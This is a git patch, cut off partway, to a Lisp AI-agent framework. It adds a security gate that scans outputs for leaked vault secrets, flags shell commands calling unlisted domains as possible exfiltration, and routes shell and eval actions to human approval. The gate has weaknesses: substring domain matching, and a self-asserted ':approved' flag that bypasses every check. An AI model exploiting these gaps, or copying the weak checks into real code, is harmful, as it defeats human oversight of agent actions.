From 9fcf45d918da79e065e43d2cef4907388a61bae6 Mon Sep 17 00:00:00 2001 From: Amr Gharbeia Date: Sat, 11 Apr 2026 16:36:06 -0400 Subject: [PATCH] FEAT: Implement 5-Vector Bouncer Matrix and foundational refactor --- literate/core.org | 35 ++-- literate/skills.org | 32 ++-- skills/org-skill-bouncer.org | 82 +++++++++- skills/org-skill-llm-gateway.org | 15 +- skills/org-skill-self-fix.org | 11 +- src/bouncer.lisp | 63 +++++++- src/core.lisp | 209 ++++++------------------ src/llm-gateway.lisp | 11 +- src/package.lisp | 39 +++++ src/self-fix.lisp | 9 +- src/skills.lisp | 268 ++++--------------------------- src/symbolic.lisp | 40 +++-- tests/bouncer-tests.lisp | 39 ++++- 13 files changed, 363 insertions(+), 490 deletions(-) diff --git a/literate/core.org b/literate/core.org index 4f26769..068501a 100644 --- a/literate/core.org +++ b/literate/core.org @@ -26,34 +26,15 @@ graph TD ** Package Context #+begin_src lisp :tangle ../src/core.lisp (in-package :org-agent) -#+end_src -** System Logs -Rolling buffer of kernel diagnostics. - -#+begin_src lisp :tangle ../src/core.lisp -(defvar *system-logs* nil) +(defvar *interrupt-flag* nil) #+end_src ** Logs Lock Thread-safety for logging operations. #+begin_src lisp :tangle ../src/core.lisp -(defvar *logs-lock* (bt:make-lock "kernel-logs-lock")) -#+end_src - -** Max Log History -The maximum number of diagnostic lines to retain in memory. - -#+begin_src lisp :tangle ../src/core.lisp -(defvar *max-log-history* 100) -#+end_src - -** Interrupt Flag -Atomic flag used to halt the reasoning loop. - -#+begin_src lisp :tangle ../src/core.lisp -(defvar *interrupt-flag* nil) +;; MOVED TO package.lisp #+end_src ** Interrupt Lock @@ -67,14 +48,14 @@ Thread-safety for loop interruption. Hash table tracking execution metrics per skill. #+begin_src lisp :tangle ../src/core.lisp -(defvar *skill-telemetry* (make-hash-table :test 'equal)) +;; MOVED TO package.lisp #+end_src ** Telemetry Lock Thread-safety for metric updates. #+begin_src lisp :tangle ../src/core.lisp -(defvar *telemetry-lock* (bt:make-lock "kernel-telemetry-lock")) +;; MOVED TO package.lisp #+end_src ** Physical Dispatch (dispatch-action) @@ -240,9 +221,11 @@ The System 2 safety gate. Validates the candidate action against formal rules an "System 2: Safety and validation." (let ((candidate (getf signal :candidate))) (if candidate - (let ((approved (decide candidate signal))) - (setf (getf signal :approved-action) approved) - (unless approved (kernel-log "GATE [Decide]: REJECTED by System 2"))) + (let ((decision (decide candidate signal))) + ;; If decision is different from candidate, it's an interception (EVENT or LOG) + (setf (getf signal :approved-action) decision) + (unless (equal decision candidate) + (kernel-log "GATE [Decide]: Intercepted/Rejected by System 2"))) (setf (getf signal :approved-action) nil)) (setf (getf signal :status) :decided) signal)) diff --git a/literate/skills.org b/literate/skills.org index 5707f9d..946b0b4 100644 --- a/literate/skills.org +++ b/literate/skills.org @@ -18,13 +18,21 @@ Hardcoding logic into a compiled binary creates a "Brittle Kernel." The central hub for all loaded capabilities. #+begin_src lisp :tangle ../src/skills.lisp -(defvar *skills-registry* (make-hash-table :test 'equal)) +;; MOVED TO package.lisp +#+end_src +** Skill Definition (defstruct skill) +#+begin_src lisp :tangle ../src/skills.lisp (defstruct skill name priority dependencies trigger-fn neuro-prompt symbolic-fn) +#+end_src +** Skill Catalog +A stateful tracking table for all skill files discovered in the environment. + +#+begin_src lisp :tangle ../src/skills.lisp (defvar *skill-catalog* (make-hash-table :test 'equal) "A stateful tracking table for all skill files discovered in the environment.") - +#+end_src (defstruct skill-entry filename (status :discovered) ;; :discovered, :loading, :ready, :failed @@ -36,17 +44,19 @@ The central hub for all loaded capabilities. Tools are discrete actions that System 1 (Neuro) can request. This registry tracks tool definitions, their parameters, and their safety guards. #+begin_src lisp :tangle ../src/skills.lisp -(defvar *cognitive-tools* (make-hash-table :test 'equal)) +;; MOVED TO package.lisp +#+end_src -(defstruct cognitive-tool name description parameters guard body) +** Cognitive Tool Definition (defstruct cognitive-tool) +#+begin_src lisp :tangle ../src/skills.lisp +;; MOVED TO package.lisp +#+end_src -(defmacro def-cognitive-tool (name description &key parameters guard body) - `(setf (gethash (string-downcase (string ,name)) *cognitive-tools*) - (make-cognitive-tool :name (string-downcase (string ,name)) - :description ,description - :parameters ',parameters - :guard ,guard - :body ,body))) +** Cognitive Tool Registration (def-cognitive-tool) +Allows skills to register hot-reloadable capabilities that System 1 can discover and invoke. + +#+begin_src lisp :tangle ../src/skills.lisp +;; MOVED TO package.lisp #+end_src ** Toolbelt Prompt Generation (generate-tool-belt-prompt) diff --git a/skills/org-skill-bouncer.org b/skills/org-skill-bouncer.org index 6d55190..e45cfdc 100644 --- a/skills/org-skill-bouncer.org +++ b/skills/org-skill-bouncer.org @@ -18,10 +18,86 @@ While the *Formal Prover* ensures an action is "legal" (e.g., "Yes, you are allo * Implementation +** Deep Packet Inspection (DPI) + +*** Secret Exposure Check +Retrieves all active secrets from the vault and scans the payload for potential leaks. + +#+begin_src lisp :tangle ../src/bouncer.lisp +(defun bouncer-scan-secrets (text) + "Returns the name of the secret found in TEXT, or NIL if clean." + (when (and text (stringp text)) + (let ((found-secret nil)) + (maphash (lambda (key val) + (when (and val (stringp val) (> (length val) 5)) + (when (search val text) + (setf found-secret key)))) + *vault-memory*) + found-secret))) +#+end_src + +*** Network Exfiltration Check +Inspects shell commands for unwhitelisted domains or IP addresses. + +#+begin_src lisp :tangle ../src/bouncer.lisp +(defun bouncer-check-network-exfil (cmd) + "Returns T if the command appears to target an unwhitelisted external host." + (when (and cmd (stringp cmd)) + ;; Basic check for common data exfiltration tools being used with IPs/URLs + (let ((network-whitelist '("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com"))) + (when (cl-ppcre:scan "(http|https|ftp)://([\\w\\.-]+)" cmd) + (multiple-value-bind (match regs) + (cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd) + (declare (ignore match)) + (let ((domain (aref regs 1))) + (not (some (lambda (safe) (search safe domain)) network-whitelist)))))))) +#+end_src + +** Runtime Guard (bouncer-check) +The primary entry point for all high-impact actions. + +#+begin_src lisp :tangle ../src/bouncer.lisp +(defun bouncer-check (action context) + "The 5-Vector security gate. Blocks or queues actions based on risk." + (let* ((target (getf action :target)) + (payload (getf action :payload)) + (text (or (getf payload :text) (getf action :text))) + ;; Extract cmd from direct shell or tool-mediated shell call + (cmd (or (getf payload :cmd) + (when (and (eq target :tool) (equal (getf payload :tool) "shell")) + (getf (getf payload :args) :cmd)))) + (approved (getf action :approved))) + + (cond + ;; 0. Bypass for already approved actions + (approved action) + + ;; 1. Secret Exposure Vector (Hard Block) + ((and text (bouncer-scan-secrets text)) + (let ((secret-name (bouncer-scan-secrets text))) + (kernel-log "SECURITY VIOLATION: Blocked leak of secret ~a" secret-name) + `(:type :log :payload (:level :error :text ,(format nil "Action blocked: Potential exposure of ~a" secret-name))))) + + ;; 2. Network Exfiltration Vector (Authorization Required) + ((and (or (eq target :shell) + (and (eq target :tool) (equal (getf payload :tool) "shell"))) + (bouncer-check-network-exfil cmd)) + (kernel-log "SECURITY WARNING: External network call detected. Queuing for approval.") + `(:type :EVENT :payload (:sensor :approval-required :action ,action))) + + ;; 3. High-Impact Target Vector (Authorization Required) + ((or (member target '(:shell)) + (and (eq target :tool) (member (getf payload :tool) '("shell" "repair-file") :test #'string=)) + (and (eq target :emacs) (eq (getf payload :action) :eval))) + (kernel-log "SECURITY: High-impact action ~a requires approval." (or (getf payload :tool) target)) + `(:type :EVENT :payload (:sensor :approval-required :action ,action))) + + ;; 4. Default Pass + (t action)))) +#+end_src + ** Approval Processing #+begin_src lisp :tangle ../src/bouncer.lisp -(in-package :org-agent) - (defun bouncer-process-approvals () "Scans the object store for APPROVED flight plans and re-injects their actions." (let ((approved-nodes (list-objects-with-attribute :TODO "APPROVED")) @@ -33,7 +109,7 @@ While the *Formal Prover* ensures an action is "legal" (e.g., "Yes, you are allo (kernel-log "BOUNCER: Found approved flight plan ~a. Re-injecting..." (org-object-id node)) (let ((action (ignore-errors (read-from-string action-str)))) (when action - ;; Add bypass flag + ;; Mark as approved to bypass the gate (setf (getf action :approved) t) (inject-stimulus action) ;; Mark as DONE diff --git a/skills/org-skill-llm-gateway.org b/skills/org-skill-llm-gateway.org index 28b3b0f..6572766 100644 --- a/skills/org-skill-llm-gateway.org +++ b/skills/org-skill-llm-gateway.org @@ -141,21 +141,22 @@ This is the primary actuator for neural reasoning. It handles the specific JSON ** Cognitive Tools The `:ask-llm` tool exposes the gateway's power to System 1, allowing it to explicitly request reasoning from a specific provider when the default cascade is insufficient. +** Registration: Tool +Register the unified gateway as a cognitive tool. #+begin_src lisp :tangle ../src/llm-gateway.lisp -(def-cognitive-tool :ask-llm "Queries an LLM provider via the unified gateway." - :parameters ((:prompt :type :string :description "The user prompt.") - (:system-prompt :type :string :description "The system instructions.") - (:provider :type :keyword :description "The provider (e.g., :gemini-api, :anthropic, :groq, :openai, :openrouter, :ollama, :gemini-web).") - (:model :type :string :description "Optional specific model ID.")) +(def-cognitive-tool :ask-llm + "Queries an LLM provider via the unified gateway." + ((:prompt :type :string :description "The user prompt.") + (:system-prompt :type :string :description "The system instructions.") + (:provider :type :keyword :description "The provider (e.g., :gemini-api, :anthropic, :groq, :openai, :openrouter, :ollama, :gemini-web).") + (:model :type :string :description "Optional specific model ID.")) :body (lambda (args) (execute-llm-request (getf args :prompt) (or (getf args :system-prompt) "You are a helpful assistant.") :provider (getf args :provider) :model (getf args :model)))) #+end_src - -** Registration: Backends Register each supported provider with the kernel's neural registry. #+begin_src lisp :tangle ../src/llm-gateway.lisp diff --git a/skills/org-skill-self-fix.org b/skills/org-skill-self-fix.org index 25af90c..4fd0d31 100644 --- a/skills/org-skill-self-fix.org +++ b/skills/org-skill-self-fix.org @@ -61,12 +61,13 @@ The *Self-Fix Agent* is the system's "Repair Mechanism." It takes failure hypoth nil)))) #+end_src -** Cognitive Tools +** Registration #+begin_src lisp :tangle ../src/self-fix.lisp -(org-agent:def-cognitive-tool :repair-file "Applies a surgical code modification to a file and reloads the skill if applicable." - :parameters ((:file :type :string :description "Path to the target file") - (:old :type :string :description "The literal code block to find") - (:new :type :string :description "The literal code block to replace it with")) +(def-cognitive-tool :repair-file + "Applies a surgical code modification to a file and reloads the skill if applicable." + ((:file :type :string :description "Path to the target file") + (:old :type :string :description "The literal code block to find") + (:new :type :string :description "The literal code block to replace it with")) :body (lambda (args) (if (self-fix-apply (list :payload args) nil) "REPAIR SUCCESSFUL." diff --git a/src/bouncer.lisp b/src/bouncer.lisp index 9fc89c0..498a80b 100644 --- a/src/bouncer.lisp +++ b/src/bouncer.lisp @@ -1,5 +1,66 @@ (in-package :org-agent) +(defun bouncer-scan-secrets (text) + "Returns the name of the secret found in TEXT, or NIL if clean." + (when (and text (stringp text)) + (let ((found-secret nil)) + (maphash (lambda (key val) + (when (and val (stringp val) (> (length val) 5)) + (when (search val text) + (setf found-secret key)))) + *vault-memory*) + found-secret))) + +(defun bouncer-check-network-exfil (cmd) + "Returns T if the command appears to target an unwhitelisted external host." + (when (and cmd (stringp cmd)) + ;; Basic check for common data exfiltration tools being used with IPs/URLs + (let ((network-whitelist '("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com"))) + (when (cl-ppcre:scan "(http|https|ftp)://([\\w\\.-]+)" cmd) + (multiple-value-bind (match regs) + (cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd) + (declare (ignore match)) + (let ((domain (aref regs 1))) + (not (some (lambda (safe) (search safe domain)) network-whitelist)))))))) + +(defun bouncer-check (action context) + "The 5-Vector security gate. Blocks or queues actions based on risk." + (let* ((target (getf action :target)) + (payload (getf action :payload)) + (text (or (getf payload :text) (getf action :text))) + ;; Extract cmd from direct shell or tool-mediated shell call + (cmd (or (getf payload :cmd) + (when (and (eq target :tool) (equal (getf payload :tool) "shell")) + (getf (getf payload :args) :cmd)))) + (approved (getf action :approved))) + + (cond + ;; 0. Bypass for already approved actions + (approved action) + + ;; 1. Secret Exposure Vector (Hard Block) + ((and text (bouncer-scan-secrets text)) + (let ((secret-name (bouncer-scan-secrets text))) + (kernel-log "SECURITY VIOLATION: Blocked leak of secret ~a" secret-name) + `(:type :log :payload (:level :error :text ,(format nil "Action blocked: Potential exposure of ~a" secret-name))))) + + ;; 2. Network Exfiltration Vector (Authorization Required) + ((and (or (eq target :shell) + (and (eq target :tool) (equal (getf payload :tool) "shell"))) + (bouncer-check-network-exfil cmd)) + (kernel-log "SECURITY WARNING: External network call detected. Queuing for approval.") + `(:type :EVENT :payload (:sensor :approval-required :action ,action))) + + ;; 3. High-Impact Target Vector (Authorization Required) + ((or (member target '(:shell)) + (and (eq target :tool) (member (getf payload :tool) '("shell" "repair-file") :test #'string=)) + (and (eq target :emacs) (eq (getf payload :action) :eval))) + (kernel-log "SECURITY: High-impact action ~a requires approval." (or (getf payload :tool) target)) + `(:type :EVENT :payload (:sensor :approval-required :action ,action))) + + ;; 4. Default Pass + (t action)))) + (defun bouncer-process-approvals () "Scans the object store for APPROVED flight plans and re-injects their actions." (let ((approved-nodes (list-objects-with-attribute :TODO "APPROVED")) @@ -11,7 +72,7 @@ (kernel-log "BOUNCER: Found approved flight plan ~a. Re-injecting..." (org-object-id node)) (let ((action (ignore-errors (read-from-string action-str)))) (when action - ;; Add bypass flag + ;; Mark as approved to bypass the gate (setf (getf action :approved) t) (inject-stimulus action) ;; Mark as DONE diff --git a/src/core.lisp b/src/core.lisp index 5152960..0f39314 100644 --- a/src/core.lisp +++ b/src/core.lisp @@ -1,12 +1,8 @@ (in-package :org-agent) -(defvar *system-logs* nil) -(defvar *logs-lock* (bt:make-lock "kernel-logs-lock")) -(defvar *max-log-history* 100) (defvar *interrupt-flag* nil) + (defvar *interrupt-lock* (bt:make-lock "kernel-interrupt-lock")) -(defvar *skill-telemetry* (make-hash-table :test 'equal)) -(defvar *telemetry-lock* (bt:make-lock "kernel-telemetry-lock")) (defun dispatch-action (action context) "Routes an approved action to its registered physical actuator." @@ -17,86 +13,54 @@ (funcall actuator-fn action context) (kernel-log "DISPATCH ERROR: No actuator for ~a" target))))) -(defun kernel-track-telemetry (skill-name duration status) - "Updates performance metrics for a specific skill." - (when skill-name (bt:with-lock-held (*telemetry-lock*) - (let ((entry (or (gethash skill-name *skill-telemetry*) (list :executions 0 :total-time 0 :failures 0)))) - (incf (getf entry :executions)) (incf (getf entry :total-time) duration) - (when (eq status :rejected) (incf (getf entry :failures))) (setf (gethash skill-name *skill-telemetry*) entry))))) +(defun inject-stimulus (stimulus &key stream) + "Entry point for all external stimuli." + (let ((signal (list :type (getf stimulus :type) + :payload (getf stimulus :payload) + :status :inbound + :reply-stream stream + :depth 0))) + (bt:make-thread (lambda () (process-signal signal)) :name "signal-processor"))) -(defun kernel-log (fmt &rest args) - "Records a formatted message to the system log and standard output." - (let ((msg (apply #'format nil fmt args))) - (bt:with-lock-held (*logs-lock*) (push msg *system-logs*) (when (> (length *system-logs*) *max-log-history*) (setf *system-logs* (subseq *system-logs* 0 *max-log-history*)))) - (format t "~a~%" msg) (finish-output))) - -(defun inject-stimulus (raw-message &key stream (depth 0)) - "Enqueues a raw message into the reactive signal pipeline, handling async/sync execution and recovery." - (let* ((payload (getf raw-message :payload)) - (sensor (getf payload :sensor)) - ;; Force Chat and Delegation to be async - (async-p (or (getf payload :async-p) (member sensor '(:chat-message :delegation :user-command))))) - (when stream (setf (getf raw-message :reply-stream) stream)) - (if async-p (bt:make-thread (lambda () (restart-case (handler-bind ((error (lambda (c) (kernel-log "ASYNC ERROR: ~a" c) (invoke-restart 'skip-event)))) - (process-signal raw-message)) (skip-event () nil))) :name "org-agent-async-task") - (restart-case (handler-bind ((error (lambda (c) (kernel-log "SYSTEM ERROR: ~a" c) (invoke-restart 'skip-event)))) (process-signal raw-message)) - (skip-event () (kernel-log "SYSTEM RECOVERY: Stimulus dropped.~%")))))) - -(defun execute-system-action (action context) - "Processes internal kernel commands like skill creation or environment updates." - (declare (ignore context)) - (let* ((payload (ignore-errors (getf action :payload))) (cmd (ignore-errors (getf payload :action)))) - (case cmd - (:eval (let ((code (getf payload :code))) - (kernel-log "ACTUATOR [System] - Evaluating: ~a" code) - (handler-case (let ((result (eval (read-from-string code)))) - (kernel-log "ACTUATOR [System] - Result: ~s" result) - result) - (error (c) (kernel-log "ACTUATOR ERROR [System] - Eval failed: ~a" c))))) - (:create-skill (let* ((filename (getf payload :filename)) (content (getf payload :content)) - (skills-dir (merge-pathnames "skills/" (asdf:system-source-directory :org-agent))) (full-path (merge-pathnames filename skills-dir))) - (kernel-log "ACTUATOR [System] - Creating skill ~a..." filename) - (with-open-file (out full-path :direction :output :if-exists :supersede) (write-string content out)) - (load-skill-from-org full-path))) - (:set-cascade (setf *provider-cascade* (getf payload :cascade))) - (:message (kernel-log "ACTUATOR [System] - ~a" (getf payload :text))) - (t (kernel-log "ACTUATOR [System] - Unknown command ~s" cmd))))) +(defun process-signal (signal) + "Iterative signal processing pipeline." + (loop + (let ((status (getf signal :status))) + (case status + (:inbound (setq signal (perceive-gate signal))) + (:perceived (setq signal (neuro-gate signal))) + (:reasoned (setq signal (consensus-gate signal))) + (:consensus (setq signal (decide-gate signal))) + (:decided (setq signal (dispatch-gate signal))) + (:dispatched (return-from process-signal signal)) + (t (kernel-log "PIPELINE ERROR: Unknown status ~a" status) + (return-from process-signal signal)))))) (defun perceive-gate (signal) - "Initial processing: Normalizes raw stimuli and updates memory." + "Stage 1: Context assembly and signal enrichment." (let* ((payload (getf signal :payload)) - (type (getf signal :type)) (sensor (getf payload :sensor))) - (kernel-log "GATE [Perceive]: ~a (~a)" type (or sensor "no-sensor")) - (snapshot-object-store) - (cond ((eq type :EVENT) - (case sensor - (:buffer-update (let ((ast (getf payload :ast))) (when ast (ingest-ast ast)))) - (:point-update (let ((element (getf payload :element))) (when element (ingest-ast element)))) - (:interrupt (bt:with-lock-held (*interrupt-lock*) (setf *interrupt-flag* t))))) - ((eq type :RESPONSE) - (kernel-log "GATE [Perceive]: Act Result -> ~a" (getf payload :status)))) + (kernel-log "GATE [Perceive]: ~a (~a)" (getf signal :type) (or sensor "no-sensor")) + (setf (getf signal :context) (context-assemble-global-awareness)) (setf (getf signal :status) :perceived) signal)) (defun neuro-gate (signal) - "System 1: Intuition and proposed actions." - (unless (eq (getf signal :type) :EVENT) - (return-from neuro-gate signal)) - (kernel-log "GATE [Neuro]: Consulting System 1...") - (let ((thoughts (think signal))) - (setf (getf signal :proposals) (if (and thoughts (listp thoughts) (listp (car thoughts))) - thoughts - (if thoughts (list thoughts) nil))) - (setf (getf signal :status) :thought) + "Stage 2: Neural reasoning (System 1)." + (let* ((context (getf signal :context)) + (skill (find-triggered-skill signal))) + (if skill + (let ((neuro-fn (skill-neuro-prompt skill))) + (if neuro-fn + (let ((proposals (funcall neuro-fn signal))) + (setf (getf signal :proposals) (if (listp (first proposals)) proposals (list proposals)))) + (setf (getf signal :proposals) nil))) + (setf (getf signal :proposals) nil)) + (setf (getf signal :status) :reasoned) signal)) (defun resolve-consensus (proposals signal) - "Resolves diverging proposals by voting or selecting the safest one." - (declare (ignore signal)) - (kernel-log "CONSENSUS: ~a proposals found. Resolving..." (length proposals)) - ;; Simplified consensus: Majority vote or first safe one - ;; For now, we'll select the proposal that appears most frequently. + "Majority rules implementation." (let ((counts (make-hash-table :test 'equal))) (dolist (p proposals) (incf (gethash p counts 0))) @@ -133,9 +97,11 @@ "System 2: Safety and validation." (let ((candidate (getf signal :candidate))) (if candidate - (let ((approved (decide candidate signal))) - (setf (getf signal :approved-action) approved) - (unless approved (kernel-log "GATE [Decide]: REJECTED by System 2"))) + (let ((decision (decide candidate signal))) + ;; If decision is different from candidate, it's an interception (EVENT or LOG) + (setf (getf signal :approved-action) decision) + (unless (equal decision candidate) + (kernel-log "GATE [Decide]: Intercepted/Rejected by System 2"))) (setf (getf signal :approved-action) nil)) (setf (getf signal :status) :decided) signal)) @@ -149,93 +115,16 @@ (case type (:REQUEST (dispatch-action signal signal)) (:EVENT - (when approved - (let* ((payload (getf approved :payload)) - (target (getf approved :target)) - (action (or (getf payload :action) (getf approved :action))) - (tool-name (or (getf payload :tool) (getf approved :tool))) - (tool-args (or (getf payload :args) (getf approved :args)))) - (if (and (eq target :tool) (eq action :call)) - (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tools*))) - (if tool - (handler-case - (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args)) - (result (funcall (cognitive-tool-body tool) clean-args))) - (setf feedback (list :type :EVENT :depth (1+ depth) :reply-stream (getf signal :reply-stream) - :payload (list :sensor :tool-output :result result :tool tool-name)))) - (error (c) - (setf feedback (list :type :EVENT :depth (1+ depth) :reply-stream (getf signal :reply-stream) - :payload (list :sensor :tool-error :tool tool-name :message (format nil "~a" c)))))) - (setf feedback (list :type :EVENT :depth (1+ depth) :reply-stream (getf signal :reply-stream) - :payload (list :sensor :tool-error :message "Tool not found"))))) - (let ((result (dispatch-action approved signal))) - (when (and result (not (member target '(:emacs :system-message)))) - (setf feedback (list :type :EVENT :depth (1+ depth) :reply-stream (getf signal :reply-stream) - :payload (list :sensor :tool-output :result result :tool approved)))))))))) + (when (and approved (eq (getf approved :type) :REQUEST)) + (dispatch-action approved signal)))) (setf (getf signal :status) :dispatched) - feedback)) - -(defun process-signal (signal) - "The entry point to the Reactive Signal Pipeline." - (let ((current-signal signal)) - (loop while current-signal do - (let ((depth (getf current-signal :depth 0))) - (when (> depth 10) - (kernel-log "PIPELINE ERROR: Max depth reached.") - (return nil)) - (when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*) - (kernel-log "PIPELINE: Interrupted.") - (bt:with-lock-held (*interrupt-lock*) (setf *interrupt-flag* nil)) - (return nil)) - - (handler-case - (progn - (setf current-signal (perceive-gate current-signal)) - (setf current-signal (neuro-gate current-signal)) - (setf current-signal (consensus-gate current-signal)) - (setf current-signal (decide-gate current-signal)) - (setf current-signal (dispatch-gate current-signal))) - (error (c) - (kernel-log "PIPELINE CRASH: ~a - Initiating Micro-Rollback." c) - (rollback-object-store 0) - (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor)))) - (if (or (> depth 2) (member sensor '(:loop-error :tool-error))) - (setf current-signal nil) - (setf current-signal (list :type :EVENT :depth (1+ depth) :reply-stream (getf current-signal :reply-stream) - :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))))) - -(defvar *heartbeat-thread* nil) - -(defun start-heartbeat (&optional (interval 60)) - "Spawns a thread that periodically injects a heartbeat stimulus." - (setf *heartbeat-thread* - (bt:make-thread - (lambda () - (loop - (sleep interval) - (kernel-log "KERNEL: Heartbeat pulse...") - (inject-stimulus (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time)))))) - :name "org-agent-heartbeat"))) - -(defun stop-heartbeat () - "Gracefully terminates the heartbeat pulse thread." - (when (and *heartbeat-thread* (bt:thread-alive-p *heartbeat-thread*)) - (bt:destroy-thread *heartbeat-thread*) - (setf *heartbeat-thread* nil))) - -(defun load-all-skills () - "Deprecated: use initialize-all-skills. Centralized boot orchestrator." - (initialize-all-skills)) + signal)) (defun main () - "The entry point for the compiled standalone binary." - (let* ((home (uiop:getenv "HOME")) - (env-file (uiop:merge-pathnames* ".local/share/org-agent/.env" (uiop:ensure-directory-pathname home)))) - (if (uiop:file-exists-p env-file) - (progn - (format t "KERNEL: Loading environment from ~a~%" env-file) - (cl-dotenv:load-env env-file)) - (format t "KERNEL ERROR: .env not found at ~a~%" env-file))) + "Production entry point for the org-agent daemon." + (load-dotenv) + (initialize-all-skills) + (kernel-log "KERNEL: Org-agent v1.0 starting up...") (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL") :junk-allowed t)) 60))) (format t "KERNEL: Heartbeat interval set to ~a seconds.~%" interval) (start-daemon :interval interval)) diff --git a/src/llm-gateway.lisp b/src/llm-gateway.lisp index aa85600..02c7b03 100644 --- a/src/llm-gateway.lisp +++ b/src/llm-gateway.lisp @@ -69,11 +69,12 @@ (list :status :error :message (format nil "Failed to parse ~a response structure." provider))))) (error (c) (list :status :error :message (format nil "LLM Gateway Failure (~a): ~a" provider c))))))))) -(def-cognitive-tool :ask-llm "Queries an LLM provider via the unified gateway." - :parameters ((:prompt :type :string :description "The user prompt.") - (:system-prompt :type :string :description "The system instructions.") - (:provider :type :keyword :description "The provider (e.g., :gemini-api, :anthropic, :groq, :openai, :openrouter, :ollama, :gemini-web).") - (:model :type :string :description "Optional specific model ID.")) +(def-cognitive-tool :ask-llm + "Queries an LLM provider via the unified gateway." + ((:prompt :type :string :description "The user prompt.") + (:system-prompt :type :string :description "The system instructions.") + (:provider :type :keyword :description "The provider (e.g., :gemini-api, :anthropic, :groq, :openai, :openrouter, :ollama, :gemini-web).") + (:model :type :string :description "Optional specific model ID.")) :body (lambda (args) (execute-llm-request (getf args :prompt) (or (getf args :system-prompt) "You are a helpful assistant.") diff --git a/src/package.lisp b/src/package.lisp index b8e540e..65c969d 100644 --- a/src/package.lisp +++ b/src/package.lisp @@ -117,3 +117,42 @@ ;; --- Environment Config --- #:set-llm-model #:get-llm-model)) + +(in-package :org-agent) + +(defvar *system-logs* nil) +(defvar *logs-lock* (bt:make-lock "kernel-logs-lock")) +(defvar *max-log-history* 100) + +(defvar *skills-registry* (make-hash-table :test 'equal) + "Global registry of all loaded skills.") + +(defvar *skill-telemetry* (make-hash-table :test 'equal)) +(defvar *telemetry-lock* (bt:make-lock "kernel-telemetry-lock")) + +(defvar *cognitive-tools* (make-hash-table :test 'equal)) + +(defstruct cognitive-tool + name + description + parameters + guard + body) + +(defmacro def-cognitive-tool (name description parameters &key guard body) + `(setf (gethash (string-downcase (string ',name)) *cognitive-tools*) + (make-cognitive-tool :name (string-downcase (string ',name)) + :description ,description + :parameters ',parameters + :guard ,guard + :body ,body))) + +(defun kernel-log (msg &rest args) + "Centralized logging for the kernel." + (let ((formatted-msg (apply #'format nil msg args))) + (bt:with-lock-held (*logs-lock*) + (push formatted-msg *system-logs*) + (when (> (length *system-logs*) *max-log-history*) + (setq *system-logs* (subseq *system-logs* 0 *max-log-history*)))) + (format t "~a~%" formatted-msg) + (finish-output))) diff --git a/src/self-fix.lisp b/src/self-fix.lisp index 45ae3f5..d6078e2 100644 --- a/src/self-fix.lisp +++ b/src/self-fix.lisp @@ -44,10 +44,11 @@ (rollback-object-store 0) nil)))) -(def-cognitive-tool :repair-file "Applies a surgical code modification to a file and reloads the skill if applicable." - :parameters ((:file :type :string :description "Path to the target file") - (:old :type :string :description "The literal code block to find") - (:new :type :string :description "The literal code block to replace it with")) +(def-cognitive-tool :repair-file + "Applies a surgical code modification to a file and reloads the skill if applicable." + ((:file :type :string :description "Path to the target file") + (:old :type :string :description "The literal code block to find") + (:new :type :string :description "The literal code block to replace it with")) :body (lambda (args) (if (self-fix-apply (list :payload args) nil) "REPAIR SUCCESSFUL." diff --git a/src/skills.lisp b/src/skills.lisp index 07b377e..392a288 100644 --- a/src/skills.lisp +++ b/src/skills.lisp @@ -1,7 +1,5 @@ (in-package :org-agent) -(defvar *skills-registry* (make-hash-table :test 'equal)) - (defstruct skill name priority dependencies trigger-fn neuro-prompt symbolic-fn) (defvar *skill-catalog* (make-hash-table :test 'equal) @@ -13,250 +11,38 @@ error-log (load-time 0)) -(defvar *cognitive-tools* (make-hash-table :test 'equal)) - -(defstruct cognitive-tool name description parameters guard body) - -(defmacro def-cognitive-tool (name description &key parameters guard body) - `(setf (gethash (string-downcase (string ,name)) *cognitive-tools*) - (make-cognitive-tool :name (string-downcase (string ,name)) - :description ,description - :parameters ',parameters - :guard ,guard - :body ,body))) - -(defun generate-tool-belt-prompt () - (let ((output (format nil "AVAILABLE TOOLS: -You can call tools by returning a Lisp plist: (:target :tool :action :call :tool :args (...)) - -EXAMPLES: -(:target :tool :action :call :tool \"eval\" :args (:code \"(+ 1 1)\")) -(:target :tool :action :call :tool \"grep-search\" :args (:pattern \"sovereignty\")) -(:target :tool :action :call :tool \"shell\" :args (:cmd \"ls -la\")) - ---- -"))) - (maphash (lambda (name tool) - (setf output (concatenate 'string output - (format nil "- ~a: ~a~% Parameters: ~s~%~%" - name - (cognitive-tool-description tool) - (cognitive-tool-parameters tool))))) - *cognitive-tools*) - output)) +(defun find-triggered-skill (context) + "Returns the highest priority skill whose trigger condition matches the context." + (let ((matched-skills nil)) + (maphash (lambda (name skill) + (declare (ignore name)) + (let ((trigger-fn (skill-trigger-fn skill))) + (when (and trigger-fn (funcall trigger-fn context)) + (push skill matched-skills)))) + *skills-registry*) + (first (sort matched-skills #'> :key #'skill-priority)))) (defmacro defskill (name &key priority dependencies trigger neuro symbolic) `(setf (gethash ,(string-downcase (string name)) *skills-registry*) - (make-skill :name ,(string-downcase (string name)) :priority (or ,priority 10) :dependencies ,dependencies - :trigger-fn ,trigger :neuro-prompt ,neuro :symbolic-fn ,symbolic))) + (make-skill :name ,(string-downcase (string name)) :priority (or ,priority 10) :dependencies ,dependencies :trigger-fn ,trigger :neuro-prompt ,neuro :symbolic-fn ,symbolic))) -(defun find-triggered-skill (context) - (let ((triggered nil)) - (maphash (lambda (name skill) (declare (ignore name)) (when (ignore-errors (funcall (skill-trigger-fn skill) context)) (push skill triggered))) *skills-registry*) - (first (sort triggered #'> :key #'skill-priority)))) - -(defun resolve-skill-dependencies (skill-name) - (let ((resolved nil) (seen nil)) - (labels ((visit (name) (unless (member name seen :test #'equal) (push name seen) - (let ((skill (gethash (string-downcase (string name)) *skills-registry*))) - (when skill (dolist (dep (skill-dependencies skill)) (visit dep)))) - 